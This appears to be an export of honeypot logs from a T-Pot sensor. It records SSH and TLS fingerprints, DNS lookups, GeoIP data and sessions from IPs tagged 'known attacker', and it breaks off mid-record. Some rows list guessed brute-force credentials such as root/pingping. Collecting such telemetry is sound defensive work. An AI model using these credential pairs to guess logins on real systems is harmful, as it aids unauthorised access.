36378	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:14:22.197108+03	2021-09-20 15:15:04.506691+03	{"_id": "XwYgA3wBvYTbRNuE8mLR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36254, "timestamp": "2021-09-20T12:14:22.197108", "@timestamp": "2021-09-20T12:14:22.197Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36379	1.116.239.130	109.199.241.180	Fatt	2021-09-20 15:14:22.648055+03	2021-09-20 15:15:04.507691+03	{"_id": "YAYgA3wBvYTbRNuE8mLR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 32940, "dest_port": 22, "timestamp": "2021-09-20T12:14:22.648055", "@timestamp": "2021-09-20T12:14:22.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36385	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:14:22.017747+03	2021-09-20 15:15:04.51469+03	{"_id": "RwYgA3wBvYTbRNuE8GJ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "15b15763b459", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:14:22.017747Z", "@timestamp": "2021-09-20T12:14:22.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36380	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:14:23.79376+03	2021-09-20 15:15:04.50869+03	{"_id": "ZQYgA3wBvYTbRNuE9mK6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "121.4.68.188", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44928, "timestamp": "2021-09-20T12:14:23.793760", "@timestamp": "2021-09-20T12:14:23.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36381	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:14:23.790019+03	2021-09-20 15:15:04.50969+03	{"_id": "bQYgA3wBvYTbRNuE-GJJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 121.4.68.188:44928 (192.168.176.2:22) [session: 683b3bc8f922]", "session": "683b3bc8f922", "@version": "1", "protocol": "ssh", "src_port": 44928, "dest_port": 22, "timestamp": "2021-09-20T12:14:23.790019Z", "@timestamp": "2021-09-20T12:14:23.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36382	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:14:23.79285+03	2021-09-20 15:15:04.51169+03	{"_id": "bAYgA3wBvYTbRNuE-GJJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "683b3bc8f922", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:14:23.792850Z", "@timestamp": "2021-09-20T12:14:23.792Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36383	121.4.68.188	109.199.241.180	Suricata	2021-09-20 15:14:24.065262+03	2021-09-20 15:15:04.512689+03	{"_id": "bgYgA3wBvYTbRNuE-WJd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "flow_id": 87999503130997, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44928, "dest_port": 22, "timestamp": "2021-09-20T12:14:24.065262Z", "@timestamp": "2021-09-20T12:14:24.065Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36384	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:14:24.906149+03	2021-09-20 15:15:04.51369+03	{"_id": "cQYgA3wBvYTbRNuE_GIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "15b15763b459", "@version": "1", "duration": 2.8890764713287354, "timestamp": "2021-09-20T12:14:24.906149Z", "@timestamp": "2021-09-20T12:14:24.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36386	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:14:22.016424+03	2021-09-20 15:15:04.51669+03	{"_id": "SwYgA3wBvYTbRNuE8GJ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 120.36.157.98:11053 (192.168.176.2:22) [session: 15b15763b459]", "session": "15b15763b459", "@version": "1", "protocol": "ssh", "src_port": 11053, "dest_port": 22, "timestamp": "2021-09-20T12:14:22.016424Z", "@timestamp": "2021-09-20T12:14:22.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36387	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 15:14:22.648252+03	2021-09-20 15:15:04.51769+03	{"_id": "TAYgA3wBvYTbRNuE8GJ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ba1255a9ff5f", "@version": "1", "timestamp": "2021-09-20T12:14:22.648252Z", "@timestamp": "2021-09-20T12:14:22.648Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36388	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:14:22.10061+03	2021-09-20 15:15:04.51869+03	{"_id": "TQYgA3wBvYTbRNuE8WKM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 54623, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 147768267933954, "@version": "1", "in_iface": "enp5s0", "src_port": 41583, "dest_port": 53, "timestamp": "2021-09-20T12:14:22.100610Z", "@timestamp": "2021-09-20T12:14:22.100Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
36389	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:14:22.619652+03	2021-09-20 15:15:04.519689+03	{"_id": "TgYgA3wBvYTbRNuE8WKM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 2711, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1812, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1654696198434793, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 44205, "timestamp": "2021-09-20T12:14:22.619652Z", "@timestamp": "2021-09-20T12:14:22.619Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36390	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:14:22.154157+03	2021-09-20 15:15:04.521691+03	{"_id": "WwYgA3wBvYTbRNuE8mLR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36254, "dest_port": 443, "timestamp": "2021-09-20T12:14:22.154157", "@timestamp": "2021-09-20T12:14:22.154Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36412	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:14:02.514745+03	2021-09-20 15:15:04.55069+03	{"_id": "LAYgA3wBvYTbRNuEomJQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "013ebd7fb3a7", "@version": "1", "duration": 1.4139761924743652, "timestamp": "2021-09-20T12:14:02.514745Z", "@timestamp": "2021-09-20T12:14:02.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	BY
36391	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:14:22.36466+03	2021-09-20 15:15:04.52269+03	{"_id": "XAYgA3wBvYTbRNuE8mLR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.116.239.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32940, "timestamp": "2021-09-20T12:14:22.364660", "@timestamp": "2021-09-20T12:14:22.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36392	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:14:25.248528+03	2021-09-20 15:15:04.52469+03	{"_id": "cwYgA3wBvYTbRNuE_GIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.login.failed", "message": "login attempt [rakesh/rakesh] failed", "session": "683b3bc8f922", "@version": "1", "password": "rakesh", "username": "rakesh", "timestamp": "2021-09-20T12:14:25.248528Z", "@timestamp": "2021-09-20T12:14:25.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36393	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:14:27.995002+03	2021-09-20 15:15:04.525691+03	{"_id": "fwYhA3wBvYTbRNuEB2Ls", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "57714539d081", "@version": "1", "timestamp": "2021-09-20T12:14:27.995002Z", "@timestamp": "2021-09-20T12:14:27.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	FR
36394	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:14:28.246384+03	2021-09-20 15:15:04.526691+03	{"_id": "gAYhA3wBvYTbRNuEB2Ls", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [root/pingping] failed", "session": "57714539d081", "@version": "1", "password": "pingping", 